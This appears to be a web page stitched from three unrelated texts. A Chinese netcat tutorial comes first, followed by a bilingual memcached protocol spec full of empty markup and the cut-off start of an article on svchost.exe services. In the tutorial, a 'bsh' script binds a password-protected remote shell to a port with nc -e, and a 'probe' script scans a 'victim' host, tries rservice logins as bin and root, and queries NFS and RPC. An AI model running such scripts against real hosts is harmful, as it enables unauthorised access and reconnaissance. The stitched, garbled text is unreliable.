nc使用技巧

一、基本使用

Quack# nc -h
[v1.10]
想要连接到某处:   nc [-options] hostname port[s] [ports] …
绑定端口等待连接:     nc -l -p port [-options] [hostname] [port]
参数:
        -e prog                 程序重定向,一旦连接,就执行 [危险!!]
        -g gateway              source-routing hop point[s], up to 8
        -G num                  source-routing pointer: 4, 8, 12, …
        -h                      帮助信息
        -i secs                 延时的间隔
        -l                      监听模式,用于入站连接
        -n                      指定数字的IP地址,不能用hostname
        -o file                 记录16进制的传输
        -p port                 本地端口号
        -r                      任意指定本地及远程端口
        -s addr                 本地源地址
        -u                      UDP模式
        -v                      详细输出——用两个-v可得到更详细的内容
        -w secs                 timeout的时间
        -z                      将输入输出关掉——用于扫描时
      
其中端口号可以指定一个或者用lo-hi式的指定范围。

二、用于传输文件——ncp

#! /bin/sh
## 类似于rcp,但是是用netcat在高端口做的
## 在接收文件的机器上做"ncp targetfile"
## 在发送文件的机器上做"ncp sourcefile receivinghost"
## 如果调用了 "nzp" ,会将传输文件压缩

## 这里定义你想使用的端口,可以自由选择
MYPORT=23456

## 如果nc没有在系统路径中的话,要把下面一行注释去掉,加以修改
# PATH=${HOME}:${PATH} ; export PATH

## 下面这几行检查参数输入情况
test "$3" && echo "too many args" && exit 1
test ! "$1" && echo "no args?" && exit 1
me=echo $0 | sed 's+.*/++'
test "$me" = "nzp" && echo ‘[compressed mode]’

# if second arg, it’s a host to send an [extant] file to.
if test "$2" ; then
  test ! -f "$1" && echo "can’t find $1" && exit 1
  if test "$me" = "nzp" ; then
    compress -c < "$1" | nc -v -w 2 $2 $MYPORT && exit 0
  else
    nc -v -w 2 $2 $MYPORT < "$1" && exit 0
  fi
  echo "transfer FAILED!"
  exit 1
fi

# 是否在接收文件机器当前目录有同名文件
if test -f "$1" ; then
  echo -n "Overwrite $1? "
  read aa
  test ! "$aa" = "y" && echo "[punted!]" && exit 1
fi
# 30 seconds oughta be pleeeeenty of time, but change if you want.
if test "$me" = "nzp" ; then
# 注意这里nc的用法,结合了重定向符号和管道
  nc -v -w 30 -p $MYPORT -l < /dev/null | uncompress -c  > "$1" && exit 0
else
  nc -v -w 30 -p $MYPORT -l < /dev/null > "$1" && exit 0
fi
echo "transfer FAILED!"
# clean up, since even if the transfer failed, $1 is already trashed
rm -f "$1"
exit 1

这样的话,我只要在A机器上先 QuackA# ncp ../abcd
listening on [any] 23456 …
然后在另一台机器B上
QuackB#ncp abcd 192.168.0.2
quackb [192.168.0.1] 23456 (?)
A机上出现
open connect to [192.168.0.2] from quackb [192.168.0.1] 1027
#
查看一下,文件传输完毕。

三、用于绑定端口——bsh

首先要清楚,如果你编译netcat时仅用如make freebsd之类的命令来编译的话,这个工
具是无法利用的——要define一个GAPING_SECURITY_HOLE它才会提供-e选项。

#! /bin/sh
## 一个利用nc的绑定shell并且带有密码保护的脚本
## 带有一个参数,即端口号

NC=nc

case "$1" in
  ?* )
  LPN="$1"
  export LPN
  sleep 1
  #注意这里nc的用法,参数-l是lister,-e是执行重定向
  echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &
  echo "launched on port $LPN"
  exit 0
  ;;
esac

# here we play inetd
echo "-l -p $LPN -e $0" ; $NC -l -p $LPN -e $0 > /dev/null 2>&1 &

while read qq ; do
case "$qq" in
# 这里就是弱密码保护了,密码是quack
  quack )
  cd /
  exec csh -i
  ;;
esac
done

要看看它是怎么使用的么?
quack# ./bsh 6666  <——-输入,后面是程序输出
-l -p 6666 -e ./bsh
launched on port 6666
quack#
quack## nc localhost 6666  <———-输入
-l -p 6666 -e ./bsh
quack    <———-输入,密码验证
Warning: imported path contains relative components
Warning: no access to tty (Bad file descriptor).
Thus no job control in this shell.
Cracker#

四、 用于端口扫描——probe

在我们常见的一些端口扫描程序中,如Vetescan这类以shell script写成的话,很多都
需要系统中装有netcat,原因何在呢?看看下面的script,你或许会明白一些。

#! /bin/sh
## launch a whole buncha shit at yon victim in no particular order; capture
## stderr+stdout in one place.  Run as root for rservice and low -p to work.
## Fairly thorough example of using netcat to collect a lot of host info.
## Will set off every intrusion alarm in existence on a paranoid machine!

# 该目录里有一些小工具
DDIR=../data
# 指定网关
GATE=192.157.69.11

# might conceivably wanna change this for different run styles
UCMD=’nc -v -w 8′

test ! "$1" && echo Needs victim arg && exit 1

echo ” | $UCMD -w 9 -r "$1" 13 79 6667 2>&1
echo ‘0’ | $UCMD "$1" 79 2>&1
# if LSRR was passed thru, should get refusal here:
# 要注意这里的用法,其实nc的这些参数掌握好可以做很多事情
$UCMD -z -r -g $GATE "$1" 6473 2>&1
$UCMD -r -z "$1" 6000 4000-4004 111 53 2105 137-140 1-20 540-550 95 87 2>&1
# -s hostname may be wrong for some multihomed machines
echo ‘UDP echoecho!’ | nc -u -p 7 -s hostname -w 3 "$1" 7 19 2>&1
echo ‘113,10158’ | $UCMD -p 10158 "$1" 113 2>&1
rservice bin bin | $UCMD -p 1019 "$1" shell 2>&1
echo QUIT | $UCMD -w 8 -r "$1" 25 158 159 119 110 109 1109 142-144 220 23 2>&1
# newline after any telnet trash
echo ”
echo PASV | $UCMD -r "$1" 21 2>&1
echo ‘GET /’ | $UCMD -w 10 "$1" 80 81 210 70 2>&1
# sometimes contains useful directory info:
# 知道robots.txt是什么文件么?;)
echo ‘GET /robots.txt’ | $UCMD -w 10 "$1" 80 2>&1
# now the big red lights go on
# 利用小工具rservice来尝试,该工具可以在nc110.tgz的data目录里找到
rservice bin bin 9600/9600 | $UCMD -p 1020 "$1" login 2>&1
rservice root root | $UCMD -r "$1" exec 2>&1
echo ‘BEGIN big udp — everything may look "open" if packet-filtered’
data -g < ${DDIR}/nfs-0.d | $UCMD -i 1 -u "$1" 2049 | od -x 2>&1
# no wait-time, uses RTT hack
nc -v -z -u -r "$1" 111 66-70 88 53 87 161-164 121-123 213 49 2>&1
nc -v -z -u -r "$1" 137-140 694-712 747-770 175-180 2103 510-530 2>&1
echo ‘END big udp’
$UCMD -r -z "$1" 175-180 2000-2003 530-533 1524 1525 666 213 8000 6250 2>&1
# Use our identd-sniffer!
iscan "$1" 21 25 79 80 111 53 6667 6000 2049 119 2>&1
# this gets pretty intrusive, but what the fuck.  Probe for portmap first
if nc -w 5 -z -u "$1" 111 ; then
  showmount -e "$1" 2>&1   #象showmount和rpcinfo的使用,可能会被逮到;)
  rpcinfo -p "$1" 2>&1
fi
exit 0

感觉也没什么好说的,脚本本身说明了一切。当然象上面的脚本只是示范性的例子,真正地使用时,
这样扫描会留下大量的痕迹,系统管理员会额外小心;)

多试试,多想想,可能你可以用它来做更多事情——你可以参见nc110.tgz里script目录下的那
些脚本,从中获得一些思路。

Memcache 协议(中英对照)

    

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

        

            

            

        

    

            

协议

            

            

Protocol

            

memcached 的客户端使用TCP链接 与 服务器通讯。(UDP接口也同样有效,参考后文的 “UDP协议” )一个运行中的memcached服务器监视一些(可设置)端口。客户端连接这些端口,发送命令到服务器,读取回应,最后关闭连接。 Clients of memcached communicate with server through TCP connections. (A UDP interface is also available; details are below under "UDP protocol.") A given running memcached server listens on some (configurable) port; clients connect to that port, send commands to the server, read responses, and eventually close the connection.
结束会话不需要发送任何命令。当不再需memcached服务时,要客户端可以在任何时候关闭连接。需要注意的是,鼓励客户端缓存这些连接,而不是每次需要存取数据时都重新打开连接。这是因为memcached 被特意设计成及时开启很多连接也能够高效的工作(数百个,上千个如果需要的话)。缓存这些连接,可以消除建立连接所带来的开销(/*/相对而言,在服务器端建立一个新连接的准备工作所带来的开销,可以忽略不计。)。 There is no need to send any command to end the session. A client may just close the connection at any moment it no longer needs it. Note, however, that clients are encouraged to cache their connections rather than reopen them every time they need to store or retrieve data. This is because memcached is especially designed to work very efficiently with a very large number (many hundreds, more than a thousand if necessary) of open connections. Caching connections will eliminate the overhead associated with establishing a TCP connection (the overhead of preparing for a new connection on the server side is insignificant compared to this).
memcache协议中发送的数据分两种:文本行 和 自由数据。 文本行被用于来自客户端的命令和服务器的回应。自由数据用于客户端从服务器端存取数据时。同样服务器会以字节流的方式传回自由数据。/*/服务器不用关心自由数据的字节顺序。自由数据的特征没有任何限制;但是通过前文提到的文本行,这项数据的接受者(服务器或客户端),便能够精确地获知所发送的数据库的长度。
            
There are two kinds of data sent in the memcache protocol: text lines
            and unstructured data. Text lines are used for commands from clients
            and responses from servers. Unstructured data is sent when a client
            wants to store or retrieve data. The server will transmit back
            unstructured data in exactly the same way it received it, as a byte
            stream. The server doesn’t care about byte order issues in
            unstructured data and isn’t aware of them. There are no limitations on
            characters that may appear in unstructured data; however, the reader
            of such data (either a client or a server) will always know, from a
            preceding text line, the exact length of the data block being
            transmitted.
文本行固定以“\r\n”(回车符紧跟一个换行符)结束。 自由数据也是同样会以“\r\n”结束,但是 \r(回车符)、\n(换行符),以及任何其他8位字符,均可出现在数据中。因此,当客户端从服务器取回数据时,必须使用数据区块的长度来确定数据区块的结束位置,而不要依据数据区块末尾的“\r\n”,即使它们固定存在于此。
            
Text lines are always terminated by \r\n. Unstructured data is _also_
            terminated by \r\n, even though \r, \n or any other 8-bit characters
            may also appear inside the data. Therefore, when a client retrieves
            data from a server, it must use the length of the data block (which it
            will be provided with) to determine where the data block ends, and not
            the fact that \r\n follows the end of the data block, even though it
            does.
   
            

键值

            

            

Keys

            

存储在memcached中的数据通过键值来标识。键值是一个文本字符串,对于需要存取这项数据的客户端而言,它必须是唯一的。键值当前的长度限制设定为250字符(当然,客户端通常不会用到这么长的键);键值中不能使用制表符和其他空白字符(例如空格,换行等)。
            
Data stored by memcached is identified with the help of a key. A key
            is a text string which should uniquely identify the data for clients
            that are interested in storing and retrieving it. Currently the
            length limit of a key is set at 250 characters (of course, normally
            clients wouldn’t need to use such long keys); the key must not include
            control characters or whitespace.
   
            

命令

            

            

Commands

            

所有命令分为3种类型 There are three types of commands.
存储命令(有3项:’set’、’add’、’repalce’)指示服务器储存一些由键值标识的数据。客户端发送一行命令,后面跟着数据区块;然后,客户端等待接收服务器回传的命令行,指示成功与否。
            
Storage commands (there are three: "set", "add" and "replace") ask the
            server to store some data identified by a key. The client sends a
            command line, and then a data block; after that the client expects one
            line of response, which will indicate success or faulure.
取回命令(只有一项:’get’)指示服务器返回与所给键值相符合的数据(一个请求中右一个或多个键值)。客户端发送一行命令,包括所有请求的键值;服务器每找到一项内容,都会发送回客户端一行关于这项内容的信息,紧跟着是对应的数据区块;直到服务器以一行“END”回应命令结束。
            
Retrieval commands (there is only one: "get") ask the server to
            retrieve data corresponding to a set of keys (one or more keys in one
            request). The client sends a command line, which includes all the
            requested keys; after that for each item the server finds it sends to
            the client one response line with information about the item, and one
            data block with the item’s data; this continues until the server
            finished with the "END" response line.
            
/*?*/其他的命令都不能携带自由数据。在这些命令中,客户端发送一行命令,然后等待(由命令所决定)一行回应,或最终以一行“END”结束的多行命令。
            
All other commands don’t involve unstructured data. In all of them,
            the client sends one command line, and expects (depending on the
            command) either one line of response, or several lines of response
            ending with "END" on the last line.
一行命令固定以命令名称开始,接着是以空格隔开的参数(如果有参数的话)。命令名称大小写敏感,并且必须小写。
            
A command line always starts with the name of the command, followed by
            parameters (if any) delimited by whitespace. Command names are
            lower-case and are case-sensitive.
   
一些客户端发送给服务器的命令会包含一些时限(针对内容或客户端请求的操作)。这时,时限的具体内容既可以是Unix时间戳(从1970年1月1日开始的秒钟数),或当前时间开始的秒钟数。对后者而言,不能超过 60*60*24*30(30天);如果超出,服务器将会理解为Unix时间戳,而不是从当前时间起的秒偏移。
            
Some commands involve a client sending some kind of expiration time
            (relative to an item or to an operation requested by the client) to
            the server. In all such cases, the actual value sent may either be
            Unix time (number of seconds since January 1, 1970, as a 32-bit
            value), or a number of seconds starting from current time. In the
            latter case, this number of seconds may not exceed 60*60*24*30 (number
            of seconds in 30 days); if the number sent by a client is larger than
            that, the server will consider it to be real Unix time value rather
            than an offset from current time.
   
            

错误字串

            

            

Error strings

            

每一个由客户端发送的命令,都可能收到来自服务器的错误字串回复。这些错误字串会以三种形式出现: Each command sent by a client may be answered with an error string
            from the server. These error strings come in three types:
– "ERROR\r\n"
意味着客户端发送了不存在的命令名称。 means the client sent a nonexistent command name.
– "CLIENT_ERROR <error>\r\n"
意味着输入的命令行里存在一些客户端错误,例如输入未遵循协议。<error>部分是人类易于理解的错误解说…… means some sort of client error in the input line, i.e. the input
            doesn’t conform to the protocol in some way. <error> is a
            human-readable error string.
– "SERVER_ERROR <error>\r\n"
意味着一些服务器错误,导致命令无法执行。<error>部分是人类易于理解的错误解说。在一些严重的情形下(通常应该不会遇到),服务器将在发送这行错误后关闭连接。这是服务器主动关闭连接的唯一情况。
            
means some sort of server error prevents the server from carrying
            out the command. <error> is a human-readable error string. In cases
            of severe server errors, which make it impossible to continue
            serving the client (this shouldn’t normally happen), the server will
            close the connection after sending the error line. This is the only
            case in which the server closes a connection to a client.
在后面每项命令的描述中,这些错误行不会再特别提到,但是客户端必须考虑到这些它们存在的可能性。 In the descriptions of individual commands below, these error lines
            are not again specifically mentioned, but clients must allow for their
            possibility.
   
            

存储命令

            

            

Storage commands

            

首先,客户端会发送一行像这样的命令: First, the client sends a command line which looks like this:
<command name> <key> <flags> <exptime> <bytes>\r\n
– <command name> 是 set, add, 或者 repalce – <command name> is "set", "add" or "replace"
            

                    

  • set 意思是 “储存此数据”
  •                 

  • add 意思是 “储存此数据,只在服务器*未*保留此键值的数据时”
  •                 

  • replace意思是 “储存此数据,只在服务器*曾*保留此键值的数据时”
  •             

            

            

                    

  • "set" means "store this data".
  •                 

  • "add" means "store this data, but only if the server *doesn’t* already
                    hold data for this key".
  •                 

  • "replace" means "store this data, but only if the server *does*
                    already hold data for this key".
  •             

            

– <key> 是接下来的客户端所要求储存的数据的键值 – <key> is the key under which the client asks to store the data
– <flags> 是在取回内容时,与数据和发送块一同保存服务器上的任意16位无符号整形(用十进制来书写)。客户端可以用它作为“位域”来存储一些特定的信息;它对服务器是不透明的。
            
– <flags> is an arbitrary 16-bit unsigned integer (written out in
            decimal) that the server stores along with the data and sends back
            when the item is retrieved. Clients may use this as a bit field to
            store data-specific information; this field is opaque to the server.
– <exptime> 是终止时间。如果为0,该项永不过期(虽然它可能被删除,以便为其他缓存项目腾出位置)。如果非0(Unix时间戳或当前时刻的秒偏移),到达终止时间后,客户端无法再获得这项内容。
            
– <exptime> is expiration time. If it’s 0, the item never expires
            (although it may be deleted from the cache to make place for other
            items). If it’s non-zero (either Unix time or offset in seconds from
            current time), it is guaranteed that clients will not be able to
            retrieve this item after the expiration time arrives (measured by
            server time).
– <bytes> 是随后的数据区块的字节长度,不包括用于分野的“\r\n”。它可以是0(这时后面跟随一个空的数据区块)。 – <bytes> is the number of bytes in the data block to follow, *not*
            including the delimiting \r\n. <bytes> may be zero (in which case
            it’s followed by an empty data block).
   
在这一行以后,客户端发送数据区块。 After this line, the client sends the data block:
<data block>\r\n
– <data block> 是大段的8位数据,其长度由前面的命令行中的<bytes>指定。 – <data block> is a chunk of arbitrary 8-bit data of length <bytes>
            from the previous line.
发送命令行和数据区块以后,客户端等待回复,可能的回复如下: After sending the command line and the data blockm the client awaits
            the reply, which may be:
– "STORED\r\n"
表明成功. to indicate success.
– "NOT_STORED\r\n"
表明数据没有被存储,但不是因为发生错误。这通常意味着add 或 replace命令的条件不成立,或者,项目已经位列删除队列(参考后文的“delete”命令)。
            
to indicate the data was not stored, but not
            because of an error. This normally means that either that the
            condition for an "add" or a "replace" command wasn’t met, or that the
            item is in a delete queue (see the "delete" command below).
   
            

取回命令

            

            

Retrieval command

            

一行取回命令如下: The retrieval command looks like this:
get <key>*\r\n
– <key>* 表示一个或多个键值,由空格隔开的字串 – <key>* means one or more key strings separated by whitespace.
这行命令以后,客户端的等待0个或多个项目,每项都会收到一行文本,然后跟着数据区块。所有项目传送完毕后,服务器发送以下字串:
            
After this command, the client expects zero or more items, each of
            which is received as a text line followed by a data block. After all
            the items have been transmitted, the server sends the string
"END\r\n"
来指示回应完毕。 to indicate the end of response.
服务器用以下形式发送每项内容: Each item sent by the server looks like this:
VALUE <key> <flags> <bytes>\r\n
            <data block>\r\n
– <key> 是所发送的键名 – <key> is the key for the item being sent
– <flags> 是存储命令所设置的记号             

– <flags> is the flags value set by the storage command

            

– <bytes> 是随后数据块的长度,*不包括* 它的界定符“\r\n” – <bytes> is the length of the data block to follow, *not* including
            its delimiting \r\n
– <data block> 是发送的数据 – <data block> is the data for this item.
如果在取回请求中发送了一些键名,而服务器没有送回项目列表,这意味着服务器没这些键名(可能因为它们从未被存储,或者为给其他内容腾出空间而被删除,或者到期,或者被已客户端删除)。
            
If some of the keys appearing in a retrieval request are not sent back
            by the server in the item list this means that the server does not
            hold items with such keys (because they were never stored, or stored
            but deleted to make space for more items, or expired, or explicitly
            deleted by a client).
   
            

删除

            

            

Deletion

            

命令“delete”允许从外部删除内容: The command "delete" allows for explicit deletion of items:
delete <key> <time>\r\n
– <key> 是客户端希望服务器删除的内容的键名 – <key> is the key of the item the client wishes the server to delete
– <time> 是一个单位为秒的时间(或代表直到某一刻的Unix时间),在该时间内服务器会拒绝对于此键名的“add”和“replace”命令。此时内容被放入delete队列,无法再通过“get”得到该内容,也无法是用“add”和“replace”命令(但是“set”命令可用)。直到指定时间,这些内容被最终从服务器的内存中彻底清除。
            
– <time> is the amount of time in seconds (or Unix time until which)
            the client wishes the server to refuse "add" and "replace" commands
            with this key. For this amount of item, the item is put into a
            delete queue, which means that it won’t possible to retrieve it by
            the "get" command, but "add" and "replace" command with this key
            will also fail (the "set" command will succeed, however). After the
            time passes, the item is finally deleted from server memory.
<time>参数 是可选的,缺省为0(表示内容会立刻清除,并且随后的存储命令均可用)。
            
The parameter <time> is optional, and, if absent, defaults to 0
            (which means that the item will be deleted immediately and further
            storage commands with this key will succeed).
此命令有一行回应: The response line to this command can be one of:
– "DELETED\r\n"
表示执行成功 to indicate success
– "NOT_FOUND\r\n"
表示没有找到这项内容 to indicate that the item with this key was not found.
参考随后的“flush_all”命令使所有内容无效
            
See the "flush_all" command below for immediate invalidation
            of all existing items.
   
            

增加/减少

            

            

Increment/Decrement

            

命令 “incr” 和 “decr”被用来修改数据,当一些内容需要 替换、增加 或减少时。这些数据必须是十进制的32位无符号整新。如果不是,则当作0来处理。修改的内容必须存在,当使用“incr”/“decr”命令修改不存在的内容时,不会被当作0处理,而是操作失败。
            
Commands "incr" and "decr" are used to change data for some item
            in-place, incrementing or decrementing it. The data for the item is
            treated as decimal representation of a 32-bit unsigned integer. If the
            current data value does not conform to such a representation, the
            commands behave as if the value were 0. Also, the item must already
            exist for incr/decr to work; these commands won’t pretend that a
            non-existent key exists with value 0; instead, they will fail.
客户端发送命令行: The client sends the command line:
incr <key> <value>\r\n
            或
            decr <key> <value>\r\n
– <key> 是客户端希望修改的内容的建名             

– <key> is the key of the item the client wishes to change

            

– <value> 是客户端要增加/减少的总数。 – <value> is the amount by which the client wants to increase/decrease
            the item. It is a decimal representation of a 32-bit unsigned integer.
回复为以下集中情形:             

The response will be one of:

            

– "NOT_FOUND\r\n"
指示该项内容的值,不存在。 to indicate the item with this value was not found
– <value>\r\n ,<value>是 增加/减少 。 – <value>\r\n , where <value> is the new value of the item’s data,
            after the increment/decrement operation was carried out.
注意"decr"命令发生下溢:如果客户端尝试减少的结果小于0时,结果会是0。"incr" 命令不会发生溢出。 Note that underflow in the "decr" command is caught: if a client tries
            to decrease the value below 0, the new value will be 0. Overflow in
            the "incr" command is not checked.
            

……

            

 

            

Note also that decrementing a number such that it loses length isn’t
            guaranteed to decrement its returned length. The number MAY be
            space-padded at the end, but this is purely an implementation
            optimization, so you also shouldn’t rely on that.
   
            

状态

            

            

Statistics

            

命令"stats" 被用于查询服务器的运行状态和其他内部数据。有两种格式。不带参数的:
            
The command "stats" is used to query the server about statistics it
            maintains and other internal data. It has two forms. Without
            arguments:
stats\r\n
这会在随后输出各项状态、设定值和文档。另一种格式带有一些参数:             

it causes the server to output general-purpose statistics and
            settings, documented below. In the other form it has some arguments:

            
            

stats <args>\r\n
通过<args>,服务器传回各种内部数据。因为随时可能发生变动,本文不提供参数的种类及其传回数据。 Depending on <args>, various internal data is sent by the server. The
            kinds of arguments and the data sent are not documented in this vesion
            of the protocol, and are subject to change for the convenience of
            memcache developers.
   
            

各种状态

            

            

General-purpose statistics

            

受到无参数的"stats"命令后,服务器发送多行内容,如下: Upon receiving the "stats" command without arguments, the server sents
            a number of lines which look like this:
STAT <name> <value>\r\n
服务器用以下一行来终止这个清单: The server terminates this list with the line
END\r\n
在每行状态中,<name> 是状态的名字,<value> 使状态的数据。 以下清单,是所有的状态名称,数据类型,和数据代表的含义。
            
In each line of statistics, <name> is the name of this statistic, and
            <value> is the data. The following is the list of all names sent in
            response to the "stats" command, together with the type of the value
            sent for this name, and the meaning of the value.
在“类型”一列中,"32u"表示32位无符号整型,"64u"表示64位无符号整型,"32u:32u"表示用冒号隔开的两个32位无符号整型。             

In the type column below, "32u" means a 32-bit unsigned integer, "64u"
            means a 64-bit unsigner integer. ’32u:32u’ means two 32-but unsigned
            integers separated by a colon.

            

            

                

                    

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                    

                        

                        

                        

                        

                    

                

            

名称/Name 类型/Type 含义/Meaning
pid 32u 服务器进程ID Process id of this server process
uptime 32u 服务器运行时间,单位秒 Number of seconds this server has been running
time 32u 服务器当前的UNIX时间 current UNIX time according to the server
version string 服务器的版本号 Version string of this server
rusage_user 32u:32u 该进程累计的用户时间
                        (秒:微妙)
Accumulated user time for this process
                        (seconds:microseconds)
rusage_system 32u:32u 该进程累计的系统时间
                        (秒:微妙)
Accumulated system time for this process
                        (seconds:microseconds)
curr_items 32u 服务器当前存储的内容数量 Current number of items stored by the server
total_items 32u 服务器启动以来存储过的内容总数 Total number of items stored by this server
                        ever since it started
bytes 64u 服务器当前存储内容所占用的字节数 Current number of bytes used by this server
                        to store items
curr_connections 32u 连接数量 Number of open connections
total_connections 32u 服务器运行以来接受的连接总数 Total number of connections opened since
                        the server started running
connection_structures 32u 服务器分配的连接结构的数量 Number of connection structures allocated
                        by the server
cmd_get 32u 取回请求总数 Cumulative number of retrieval requests
cmd_set 32u 存储请求总数 Cumulative number of storage requests
get_hits 32u 请求成功的总次数 Number of keys that have been requested and
                        found present
get_misses 32u 请求失败的总次数 Number of items that have been requested
                        and not found
bytes_read 64u 服务器从网络读取到的总字节数 Total number of bytes read by this server
                        from network
bytes_written 64u 服务器向网络发送的总字节数 Total number of bytes sent by this server to
                        network
limit_maxbytes 32u 服务器在存储时被允许使用的字节总数 Number of bytes this server is allowed to
                        use for storage.

            

   
            

其它命令

            

            

Other commands

            

            

“flush_all”命令有一个可选的数字参数。它总是执行成功,服务器会发送“OK\r\n”回应。它的效果是使已经存在的项目立即失效(缺省),或在指定的时间后。此后执行取回命令,将不会有任何内容返回(除非重新存储同样的键名)。flush_all 实际上没有立即释放项目所占用的内存,而是在随后陆续有新的项目被储存时执行。flush_all 效果具体如下:它导致所有更新时间早于flush_all所设定时间的项目,在被执行取回命令时命令被忽略。

            

"flush_all" is a command with an optional numeric argument. It always succeeds, and the server sends "OK\r\n" in response. Its effect is to invalidate all existing items immediately (by default) or after the expiration specified. After invalidation none of the items will be returned in response to a retrieval command (unless it’s stored again under the same key *after* flush_all has invalidated the items). flush_all doesn’t actually free all the memory taken up by existing items; that will happen gradually as new items are stored. The most precise definition of what flush_all does is the following: it causes all items whose update time is earlier than the time at which flush_all was set to be executed to be ignored for retrieval purposes.
“version”命令没有参数: "version" is a command with no arguments:
version\r\n
在回应中,服务器发送: In response, the server sends
"VERSION <version>\r\n"
<version> 是服务器的版本字串。 where <version> is the version string for the server.
“quit”命令没有参数: "quit" is a command with no arguments:
quit\r\n
接收此命令后,服务器关闭连接。不过,客户端可以在不再需要时,简单地关闭连接就行,并不一定需要发送这个命令。 Upon receiving this command, the server closes the connection. However, the client may also simply close the connection when it no longer needs it, without issuing this command.
   
            

UDP 协议

            

            

UDP protocol

            

当来自客户端的连接数远大于TCP连接的上限时,可以使用基于UDP的接口。UDP接口不能保证传输到位,所以只有在不要求成功的操作中使用;比如被用于一个“get”请求时,会因不当的缓存处理而发生错误或回应有遗失。 For very large installations where the number of clients is high enough that the number of TCP connections causes scaling difficulties, there is also a UDP-based interface. The UDP interface does not provide guaranteed delivery, so should only be used for operations that aren’t required to succeed; typically it is used for "get" requests where a missing or incomplete response can simply be treated as a cache miss.
每个UDP数据包都包含一个简单的帧头,数据之后的内容与TCP协议的描述类似。在执行所产生的数据流中,请求必须被包含在单独的一个UDP数据包中,但是回应可能跨越多个数据包。(只有“get”和“set”请求例外,跨越了多个数据包) Each UDP datagram contains a simple frame header, followed by data in the same format as the TCP protocol described above. In the current implementation, requests must be contained in a single UDP datagram, but responses may span several datagrams. (The only common requests that would span multiple datagrams are huge multi-key "get" requests and "set" requests, both of which are more suitable to TCP transport for reliability reasons anyway.)
帧头有8字节长,如下(均由16位整数组成,网络字节顺序,高位在前): The frame header is 8 bytes long, as follows (all values are 16-bit integers in network byte order, high byte first):
            

                    

  • 0-1 请求ID
  •                 

  • 2-3 序号
  •                 

  • 4-5 该信息的数据包总数
  •                 

  • 6-7 保留位,必须为0
  •             

            

            

                    

  • 0-1 Request ID
  •                 

  • 2-3 Sequence number
  •                 

  • 4-5 Total number of datagrams in this message
  •                 

  • 6-7 Reserved for future use; must be 0
  •             

            

请求ID有客户端提供。一般它会是一个从随机基数开始的递增值,不过客户端想用什么样的请求ID都可以。服务器的回应会包含一个和请求中的同样的ID。客户端使用请求ID来区分每一个回应。任何一个没有请求ID的数据包,可能是之前的请求遭到延迟而造成的,应该被丢弃。 The request ID is supplied by the client. Typically it will be a monotonically increasing value starting from a random seed, but the client is free to use whatever request IDs it likes. The server’s response will contain the same ID as the incoming request. The client uses the request ID to differentiate between responses to outstanding requests if there are several pending from the same server; any datagrams with an unknown request ID are probably delayed responses to an earlier request and should be discarded.
序号的返回是从0到n-1,n是该条信息的数据包数量。 The sequence number ranges from 0 to n-1, where n is the total number of datagrams in the message. The client should concatenate the payloads of the datagrams for a given response in sequence number order; the resulting byte stream will contain a complete response in the same format as the TCP protocol (including terminating \r\n sequences).

创建SvcHost.exe调用的服务原理与实践

创建时间:2003-08-27 更新时间:2003-08-27
文章属性:原创
文章提交:bingle (bingle_at_email.com.cn)

创建SvcHost.exe调用的服务原理与实践
   by bingle_at_email.com.cn
      www.BingleSite.net

1. 多个服务共享一个Svchost.exe进程利与弊

windows 系统服务分为独立进程和共享进程两种,在windows NT时只有服务器管理器SCM(Services.exe)有多个共享服务,随着系统内置服务的增加,在windows 2000中ms又把很多服务做成共享方式,由svchost.exe启动。windows 2000一般有2个svchost进程,一个是RPCSS(Remote Procedure Call)服务进程,另外一个则是由很多服务共享的一个svchost.exe。而在windows XP中,则一般有4个以上的svchost.exe服务进程,windows 2003 server中则更多,可以看出把更多的系统内置服务以共享进程方式由svchost启动是ms的一个趋势。这样做在一定程度上减少了系统资源的消耗,不过也带来一定的不稳定因素,因为任何一个共享进程的服务因为错误退出进程就会导致整个进程中的所有服务都退出。另外就是有一点安全隐患,首先要介绍一下svchost.exe的实现机制。

2. Svchost原理

